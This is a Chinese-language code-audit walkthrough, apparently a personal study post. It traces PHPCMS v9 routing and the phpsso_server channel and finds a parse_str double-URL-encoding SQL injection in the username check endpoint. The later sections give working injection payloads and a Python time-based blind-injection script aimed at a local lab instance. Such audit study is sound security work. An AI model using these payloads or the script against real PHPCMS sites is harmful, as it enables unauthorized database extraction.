PHP:5.4.5

设置调试:https://blog.csdn.net/m0_46641521/article/details/120107786

PHPCMS变量覆盖到SQL注入

0x01:路由分析

phpcms是一个一分为二的cms,有一套类似应用的东西,包括phpcms,还有一套后台的管控中心,叫phpsso_server,有登录鉴权的作用,也有后端存储服务器的作用;大多数情况下部署在同一台服务器下;

01 入口

我希望我的入口都在index.php中,

代码逻辑可能在modules中,moudules中包括 controller控制器;例如在,moudules/admin/index.php中就有一堆控制器:

image-20230212204226031

02 PHPMVC 的入口限制方式

如果在业务逻辑中,不小心有一个地方没写好,并且在这个地方没有用入口来做控制器的方法,那么就要在每一个业务逻辑中写一个鉴权,或者是引入其他代码的方式;那么写项目就会很难受;

例如:部署好的phpcms,理应是127.0.0.1:81/index.php为网站的主入口:

image-20230220160802856

但是,PHP是以文件作为路由映射的,例如,截图中的文件,可以通过url/path访问到的;

http://127.0.0.1/phpcms/modules/admin/index.php

image-20230212204455447

所以,一般再主入口中写一个变量,define一个变量(IN_PHPCMS);用这个主入口来引入这些控制器,并在控制器中检测变量在不在,如果不在,就退出去,认为是一个非常规的方式;

image-20230212205214345

image-20230212205237621

image-20230212205245956判断;

拿下一套代码,首先就可以看index.php文件;然后抽样看其他代码文件,看看他们的入口是怎么样的;例如:因为include了phpcms/base.php就都可以作为入口

image-20230212205648054

image-20230212205655201

用这种方式,先梳理出入口,主要入口都是从index.php过来,这样比较好做管理 ,以防有漏做权限控制的风险;

03 代码,路由分析

于是就开始看index.php代码,这里就该开始硬读了;

image-20230212210133346

进入base.php

image-20230212210216446

基本就是各种定义,定义了某些组件和load了其它的方法;不过这和路由相关性不大;虽然下面有些功能函数,但是没有调用;返回index.php

路由是什么?

一般在页面上点几下,出来的那个url就是路由

例如:http://127.0.0.1:81/index.php?m=link&c=index&a=register&siteid=1

分析路由:怎么把url找到具体的代码逻辑在哪里;从url做一个到具体代码的映射;

人话:从url找到具体是哪个控制器执行了什么动作或者从url找到对应的文件

以上述连接作为例子,继续跟进:

image-20230212230314562

进入第二个,原因:第一个是phpsso_server属于是后台管理那边的;所以我们看下面的属于本系统下的;

image-20230212230528406

create_app()只有一个load,传入:classname=application;继续跟进:

image-20230212230744151

load_sys_class也只有一个load,传入了classname path initilize;继续跟进:

image-20230212231418931

这一段,进行了引入模块和实例化对象;

从计算器中看到,它引入了install_package\phpcms\libs\classes\application.class.php(简写了);然后实例化了application对象;

然后F7到对应控制器下:

image-20230212232132638

进入到了application的构造函数中,这里又load了param,继续跟进:

image-20230212232227049

然后弯弯绕绕,又走到load_sys_class中,也就是前两张图片的那个

image-20230212232404988

F7进入param的构造函数:

image-20230212232518831

阅读代码:

$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);

这里就是给传入的参数转义,加上单引号注意使用的是$_POST进行接受:下面是实现

image-20230212232714722

$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');

load_config是加载配置文件,同时设置默认参数,下面是实现(后面这两张图是专门重新调试得到的)

image-20230212233900546

并且include $path(route.php)进行了默认赋值:

image-20230212233838699

看回param.class.php中的三个判断,都是false;虽然调试后面有算式,但是确实是false

例如:这里可以清晰的看到false

image-20230212234755841

然后F8继续跟进:回到了application.class.php中,也就是说,在param的处理中,是进行了默认参数的赋值处理;

image-20230212234904088

这三个函数不必多说都是赋值的,这里F7跟进一下第二个:

image-20230212235104402

这里第一行,检测getpost有没有传递cc是否为空;

F7步入safe_deal():

image-20230212235325288

看到,这里是进行替换,将/和.去掉;

image-20230212235545127

最后返回$c,虽然都是index,但是意义是不一样的;

F8后F7,看到init(),这里对application进行初始化和控制器的定义:

image-20230213000056818

F7步入load_controller()

image-20230213000509238

F7继续步入:看到这里有构造方法,应该是foreground的构造方法;

image-20230220164359511

F7继续步入:看到这里有对IP的检查:不过跟进之后发现,目前没有设置ip限制;

image-20230220164503588

这里要多F7走几步

image-20230220165914284

看到了ipanned_cache是空的;

加载完,回到return new $classname那个地方;可以查看一下my_path是什么

image-20230213000429490

my_path()中查看是否有拓展文件

load_controller基本就是进行拼接,拼接对应的路径,最后返回控制器(index);然后F7步入控制器的构造方法中查看其构造方法:

image-20230213001753382

这里就只是load_app_func加载了应用函数库和seteid;假如在这个构造函数中还有父类的构造函数,那么父类的构造函数也是需要查看的

走完load_controller之后,回到init();于是进入到了call_user_function

image-20230213000903453

也就是call_user_func(array($controller,ROUTE_A));controllerROUTE_A方法进行了调用;

再F7一步,就到了register(),这个时候,怎么把模块引入的全过程就算是了解了;其它地方的模块引入也是大致流程;区别在于有的模块会有父类构造函数,例如调试时遇到的param

不管什么代码,这个都需要跟;不同的代码,路由模式不一样,但大差不差;

最后得到结果:

m=link :文件夹
c=index:控制器
a=register:方法

踩坑

  1. 抓不住重点代码看哪里;
  2. 调试着调试着就忘了我的目的是啥;

0x02:业务分析

01 phpsso入口

还是得先分析路由,一上来就分析路由

路由清楚了,就看看具体的业务逻辑,因为已经知道了应该怎么进行引用;phpcms是一个一分为二的cms,有一套类似应用的东西,包括PHPcms,还有一套后台的管控中心,叫phpsso_server,在大多数情况下,他们是部署到一台主机上的。每当有一些跟用户权限,用户信息相关的业务发生时,phpcms会与phpsso_server进行通信,于是看看这里是怎么进行的;

先看服务端phpsso_server做了什么事的代码;

image-20230213003026885

可以看到,在phpsso_server的index.php中的代码和phpcms中是一样的路由逻辑;所以就不需要多看路由了;

phpsso更多的是注重于数据库的交互;phpcms只有两个module,一个admin一个phpsso;

这两个模块的index.php都有继承父类,看phpsso/index.php

image-20230220204233372

进入其父类的构造函数,在构造函数中会看到一个sys_auth的一个密码学验证

image-20230220204805617

对于俺来说,知道加解密算法的要素:

知道:算法是什么,密钥是什么,加密后的数据是什么就行;

02 parsr_str

随后我们看到一个函数parse_str,parse_str()会产生变量覆盖的漏洞的函数;

parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);

在这里的操作,将$_POST['data']解密,然后变量覆盖,覆盖到$this->data,这里先记住,虽然不知道怎么利用;

03 无法解密

然后看解密,解密中看看代码是不是硬编码的,可以在install.php中进行查看;可以看到这里是一个随机数,不是硬编码的;

image-20230213114504610

也就是说,我们无法自己想这个phpsso发送请求,因为没有authkey

那么,既然他存有这个东西,这个api,必然是phpcms能够自己向它发送请求,那么如果我们能够在某个位置控制请求(我们与phpcms通信,phpcms在后端完成加密的动作,并且能把我们的参数传递到phpsso上)是否就可以跟phpsso进行通信呢?

所以只能够借助phpcms与phpsso通信;也就是说,必须在phpcms中请求才能够将信息正确的传入phpsso;

要跟phpsso通信,必须经由phpcms;

所以接下来就看看是怎么通信的;

0x03:与phpsso通信

01 client类

目前是代审的基础,就没有太注重逻辑,就直接给了漏洞利用点在哪;

主要是要找一个client类;client负责与phpsso通信;

client类中有_ps_sent来传递消息,这个时候,就可以找哪里调用了ps_post了,然后但是只有_ps_send进行了调用;所以找到谁调用了ps_send就说明谁在和后端通信;

/**
	 * 发送数据
	 * @param $action 操作
	 * @param $data 数据
	 */
	private function _ps_send($action, $data = null) {
 		return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
	}
	
	/**
	 *  post数据
	 *  @param string $url		post的url
	 *  @param int $limit		返回的数据的长度
	 *  @param string $post		post数据,字符串形式username='dalarge'&password='123456'
	 *  @param string $cookie	模拟 cookie,字符串形式username='dalarge'&password='123456'
	 *  @param string $ip		ip地址
	 *  @param int $timeout		连接超时时间
	 *  @param bool $block		是否为阻塞模式
	 *  @return string			返回字符串
	 */
	
	private function _ps_post($url, $limit = 0, $post = '', $cookie = '', $ip = '', $timeout = 15, $block = true) {
		$return = '';
		$matches = parse_url($url);
		$host = $matches['host'];
		$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
		$port = !empty($matches['port']) ? $matches['port'] : 80;
		$siteurl = $this->_get_url();
		if($post) {
			$out = "POST $path HTTP/1.1\r\n";
			$out .= "Accept: */*\r\n";
			$out .= "Referer: ".$siteurl."\r\n";
			$out .= "Accept-Language: zh-cn\r\n";
			$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
			$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
			$out .= "Host: $host\r\n" ;
			$out .= 'Content-Length: '.strlen($post)."\r\n" ;
			$out .= "Connection: Close\r\n" ;
			$out .= "Cache-Control: no-cache\r\n" ;
			$out .= "Cookie: $cookie\r\n\r\n" ;
			$out .= $post ;
		} else {
			$out = "GET $path HTTP/1.1\r\n";
			$out .= "Accept: */*\r\n";
			$out .= "Referer: ".$siteurl."\r\n";
			$out .= "Accept-Language: zh-cn\r\n";
			$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
			$out .= "Host: $host\r\n";
			$out .= "Connection: Close\r\n";
			$out .= "Cookie: $cookie\r\n\r\n";
		}
		$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);

//        var_dump($fp);

		if(!$fp) {
            return '';
        }
	
		stream_set_blocking($fp, $block);
		stream_set_timeout($fp, $timeout);

//        var_dump(fgets($fp));

		@fwrite($fp, $out);
		$status = stream_get_meta_data($fp);
	
		if($status['timed_out']) return '';	
		while (!feof($fp)) {
			if(($header = @fgets($fp)) && ($header == "\r\n" ||  $header == "\n"))  break;				
		}
		
		$stop = false;
		while(!feof($fp) && !$stop) {
			$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
			$return .= $data;
			if($limit) {
				$limit -= strlen($data);
				$stop = $limit <= 0;
			}
		}
		@fclose($fp);
		
		//部分虚拟主机返回数值有误,暂不确定原因,过滤返回数据格式
		$return_arr = explode("\n", $return);
		if(isset($return_arr[1])) {
			$return = trim($return_arr[1]);
		}
		unset($return_arr);
		
		return $return;
	}

于是,找哪里调用了ps_post基本就可以认为哪里在与后端通信,然后发现只有ps_send调用了ps_post,也就是说,哪里调用ps_send哪里就在与后端通信;

image-20230220223022922

发现基本都在同一个类中,然后接着往上找;

一般是找一些未授权的,大家都能用的功能触发;

我这里找checkname;然后checkname接着向上找:

image-20230220223131543

于是哪里触发这个public_checkname_ajax就行;

02 正常触发

在注册的时候,name验证,会触发一个请求,这个请求就是所需要的请求:

http://127.0.0.1:81/index.php?clientid=username&username=debug002&m=member&c=index&a=public_checkname_ajax&_=1676903611485

image-20230220223631703

image-20230220223531349

最后跟进进入ps_post,在

$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);

建立一个连接,然后在下图蓝条位置发送请求;

image-20230220224712528

注意看调试信息中的post信息中的后一条信息,那就是加密的信息,同时$url也是请求的后台的地址;

插一句:

其实这个地址我们是能够直接访问得到的,但是由于没法通过post传递正确的加密信息,所以会返回失败的代码0;(这个666是我自己写的,不用管,看0就行;下面的图中就有echo'666';)所以需要从phpcms中请求phpsso_server;

image-20230220224926309

在之前的调试$status = stream_get_meta_data($fp);这一步F7,于是phpsso_server/phpcms/modules/phpsso/index.php能够接受到请求:

image-20230220224006406

然后进入父类的构造方法中;一路看到33行;这里会进行解析;

image-20230220225443094

这一步过后,就能够在this->data中查看到传入的信息,已经将debug002传递过来了;

image-20230220225558022

此时此刻,就说明我们已经将信息传递过来;接着跟进;

走完两个构造函数和一个初始化函数;进入checkname函数;看看它的内容;

image-20230221222819705

后面有一步$this->db->get_one()

image-20230221222919136

显然是一个对数据库进行操作的函数,进入这个函数:

image-20230221223015146

然后能看到,这里判断之后会进入一个sqls函数,进入sqls函数:

看看具体是做了什么;

image-20230221223154768

其实发现这里就是一个字符串拼接,并没有预编译;这里会返回一个拼接好的字符串;

接着跟,进入get_one

image-20230221223310773

然后发现整个过程是进行的拼接;

于是传入一个debug002'看看是啥:

哈哈哈,笑死,用户名不合法;不让传,用burp;6,burp也传不进去;

用浏览器传,我们在调试的时候会发现,这里是用请求接口的方式对后端进行的请求,所以调试过程中的那个url请求可以拿到浏览器来用;哦,然后找到原因了,是用的版本不对,所用版本中加了一个is_username的检测;害,干脆找正确的来,来来回回改了很多了:

image-20230221232528100

总之,现在传过来了:

发现这里居然有\\\',然后找找哪里加了反斜线:

image-20230222160326517

这里加了反斜线:(param那个类好像)

image-20230222160402279

然后这里还有一个:

image-20230222162708747

添加后:

image-20230222162723913

现在不急着攻击,先看看这个信息是怎么流转的;

0x04:输入流转

01 信息流转

/index.php?clientid=username&username=debug002'&_=1677052781721&m=member&c=index&a=public_checkname_ajax 

if(!get_magic_quotes_gpc()) {
	$_POST = new_addslashes($_POST);
	$_GET = new_addslashes($_GET);
	$_REQUEST = new_addslashes($_REQUEST);
	$_COOKIE = new_addslashes($_COOKIE);
}

$data['username']="debug002\'"

if(CHARSET != 'utf-8') {
	$username = iconv('utf-8', CHARSET, $username);
	$username = addslashes($username);
}

$username = "debug002\\\'"

parse_str($data,$this->data) ==> $this->data['username'] = "debug002\\\'"

SELECT * FROM `phpcmsv9_1.5.0`.`v9_15_sso_members` WHERE  `username` = 'debug002\\\'' LIMIT 1 ==>⽆法注⼊

02 parse_str利用

parae_str()利用:https://www.php.cn/php-weizijiaocheng-405803.html

parse_str()不仅能够将字符串拆分为变量,还会自动进行urldecode;

image-20230222164415880

我们是希望传递过去的是一个debug002'

所以考虑后面会接受到一个',也就是%27

由于addslashes是针对单引号,之类,对%不起作用;

所以在传递debug002'的时候,传递成debug002%27;由于传递的时候会自动进行一次url解码;所以传入:debug002%2527

image-20230222170331434

调试结果:

image-20230222165027608

成功解析出单引号:

执行语句:

SELECT * FROM `phpcmsv9_1.5.0`.`v9_15_sso_members` WHERE  `username` = '1' and updatexml(1,concat(0x7e,version()),1)#' LIMIT 1;

image-20230222165229083

在Navicat中执行命令能够执行:

image-20230222170948223

但是这里是没有回显的,也没法通过回显来进行判断,所以用sqlmap来跑;

image-20230222170958639

03 为什么这里没回显呢?

之前提到过,它是请求api的,然后根据返回的数值,cms再返回页面;

所以就得进入后边api调试一下,其实也简单;

在这里:为了写脚本方便,换了一个payload:

http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr((select database()),1,1))>79,sleep(2),1)%23+&_=1677052781721&m=member&c=index&a=public_checkname_ajax

image-20230222182527933

调用了一个call_user_func,然后进入checkname,由于没带值,所以这里is_return=0

image-20230222182550744

然后跟入执行SQL的地方:

image-20230222182746637

看到了$res是有值的;

然后回来这里:判断$r是不是空的;显然查了一堆东西,不是空的;

注意这里是检查是不是空,而不是检查返回的是什么;所以只要有返回,值就是固定的;

之前的用的报错,返回应该是空的,所以输出了1,再加上后边还有个判断,于是乎页面输出了1

image-20230222182911231

输出一个-1;这里我也有点没看懂,大概是将-1给了$status

image-20230222183228650

最后退出,给了个0;

image-20230222183300431

04 sqlmap利用

哎哟,我找的这个username的跑sqlmap跑不出来;

试试盲注:改个脚本:

import requests

url1 = "http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+"
url2 = "%23+&_=1677052781721&m=member&c=index&a=public_checkname_ajax"

result = ""
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = "select database()"
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查数据
        # payload = "select flaga from ctfshow_flagx"
        data = f"select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)"
        url = url1 + data +url2
        # print(url)
        # exit()
        try:
            r = requests.post(url, timeout=2)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)


# """
# http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+if(ascii(substr((select database()),1,1))>79,sleep(5),1)%23+&_=1677052781721&=member&c=index&a=public_checkname_ajax
# """

# select if(ascii(substr((select database()),1,1))>79,sleep(5),1)
# select if(ascii(substr((select database()),1,1))>79,sleep(2),1);

image-20230222175907342

然后勉强算是成功了;

踩坑

  1. 就是说咋安装好之后,就别动了;要是后面有什么fsokopen无法请求,phpserver接收不到请求信息,咋直接重启PHPstorm,编译器抽个风改了不知道重装了几次。。。。结果重启就行;
  2. 代码改了很多,和讲师的代码不一样,很多地方都需要修改;